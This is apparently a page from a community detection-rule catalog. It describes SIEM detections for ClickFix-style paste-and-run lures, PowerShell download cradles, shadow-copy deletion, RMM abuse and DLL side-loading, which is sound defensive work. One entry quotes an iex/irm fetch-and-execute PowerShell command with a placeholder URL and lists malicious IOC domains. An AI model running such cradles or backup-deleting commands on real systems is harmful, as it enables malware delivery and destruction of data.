Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
601 detections
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Detects instances where Windows Terminal (wt.exe) is used to spawn PowerShell or pwsh as a child process. This pattern may be indicative of ClickFix-style social engineering attacks where users are deceived into pasting or executing malicious commands within a terminal environment.
Detects ClickFix-style attacks where a user is tricked into copying and pasting malicious, often obfuscated, commands into the Windows Run dialog or a command prompt. The detection identifies suspicious parent processes (like explorer.exe) spawning shell interpreters (powershell.exe, cmd.exe, mshta.exe) with inline encoded payloads or remote content retrieval patterns. It correlates these process executions with recent entries in the Windows RunMRU registry key to identify commands triggered via the Run dialog.
Detects instances where a PowerShell session is initiated from Windows Terminal (wt.exe) and subsequently executes a command to download an archive file (e.g., .zip) using common download cmdlets or methods. This pattern is often indicative of an attacker downloading and staging malicious payloads.
Detects PowerShell command execution that combines typical Active Directory or system reconnaissance commands with potential persistence mechanisms, which is a common indicator of post-exploitation activity.
Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.
Detects execution of common script interpreters (mshta, powershell, cmd, wscript) from typical UI-based process launch sources (explorer, RunDlg) when the command line includes indicators of malicious activity such as hidden window flags, obfuscated content, or remote URL downloads. This pattern is characteristic of ClickFix-style social engineering attacks where users are tricked into copying and executing malicious commands.
Detects a sequence of activity where a user receives a high volume of inbound emails (potential vishing or social engineering lures) within a short window, followed by the user executing Windows Remote Assistance or Quick Assist tools within the next 6 hours, which is highly indicative of remote access social engineering pre-cursors.
Detects a potential WMI-based persistence mechanism by identifying the sequential execution of mofcomp.exe to compile a MOF file located in a temporary directory, followed by the execution of a VBScript payload using cscript.exe with the /e:VBScript.Encode flag. This pattern is indicative of an attacker attempting to establish persistence via WMI event subscriptions.
Detects the use of native Windows utilities (vssadmin.exe, wmic.exe, wbadmin.exe, bcdedit.exe) to delete volume shadow copies, backup catalogs, or modify boot configuration data to inhibit system recovery, a common behavior observed during ransomware and wiper attacks.
This rule detects potential unauthorized Remote Monitoring and Management (RMM) tool installation activities. It looks for common patterns used by adversaries to deploy RMM agents, including silent MSI installations from HTTPS URLs, batch/VBS scripts performing administrative privilege checks prior to silent execution, and PowerShell commands utilizing 'Start-Process' with elevated privileges to download and execute files from the internet.
Detects a multi-stage activity where PowerShell is used to download a ZIP file, followed by the execution of a batch script (1.bat) that subsequently launches LockScreenContentServer.exe. This behavior is indicative of a DLL side-loading chain designed to execute malicious code via legitimate processes.
Detects the execution of shortcut (.lnk) files located on removable media (USB) that spawn common Windows binaries (powershell.exe, cmd.exe, mshta.exe) with hidden window flags. This behavior is indicative of initial access or lateral movement techniques used by Mustang Panda (Earth Preta) for USB-based malware propagation and DLL side-loading.
Detects the FileFix execution chain, where victims are socially engineered into pasting a malicious path into the Windows Explorer address bar. This action results in explorer.exe launching suspicious command-line tools (cmd.exe, powershell.exe, wscript.exe, or cscript.exe) with suspicious flags or unusually long, potentially obfuscated arguments characteristic of a 'ClickFix' style attack.
Detects a multi-stage activity where PowerShell is used to download a ZIP file, followed by the execution of a batch script (1.bat) that subsequently launches LockScreenContentServer.exe. This behavior is indicative of a DLL side-loading chain designed to execute malicious code via legitimate processes.
Detects the 'ClickFix' social engineering pattern where a user is tricked into opening a terminal (Windows Terminal, PowerShell, or PowerShell ISE) and pasting a command. The rule specifically alerts on commands originating from explorer.exe that invoke web download utilities to fetch .zip archives, which are commonly associated with the Lorem Ipsum Loader initial access infection chain.
Detects instances where the Windows Terminal application (or related processes like OpenConsole) spawns suspicious command-line utilities such as PowerShell, CMD, curl, or certutil with indicators of potential download activity or command-line obfuscation. This pattern is often indicative of interactive adversary activity attempting to stage tools or execute payloads.
Detects the use of administrative utilities (psexec.exe, wmic.exe, powershell.exe, cmd.exe) initiating network connections over common remote management ports (135, 139, 445, 3389, 5985, 5986) to internal destinations. This behavior is indicative of lateral movement activity, particularly when initiated from a host that has recently engaged in credential harvesting or infostealer-related activity. The rule excludes common, expected sources to minimize noise.
Detects the use of native Windows utilities (vssadmin.exe, wmic.exe, wbadmin.exe, bcdedit.exe) to delete volume shadow copies, backup catalogs, or modify boot configuration data to inhibit system recovery, a common behavior observed during ransomware and wiper attacks.
This rule detects potentially malicious PowerShell activity by identifying common obfuscation patterns, including encoded commands (Base64), IEX (Invoke-Expression) download cradles, and execution with hidden windows. It triggers when multiple suspicious flags are present or when an unusually long encoded blob is identified in script blocks, command lines, or process arguments.
Detects the creation of a Windows scheduled task named 'psychedelicloveUtils' using schtasks.exe, which is indicative of persistence mechanisms employed by the Psychedelic Stealer malware following installation.
This rule detects suspicious process lineage where a Python interpreter executes system commands indicative of a compromised or trojanized pandas package. Specifically, it identifies Python processes spawning command-line utilities for malicious shell operations (e.g., cmd.exe /c calc.exe on Windows or uname -a on Linux/macOS), suggesting an attempt to verify successful arbitrary code execution via a hijacked library function like read_json.
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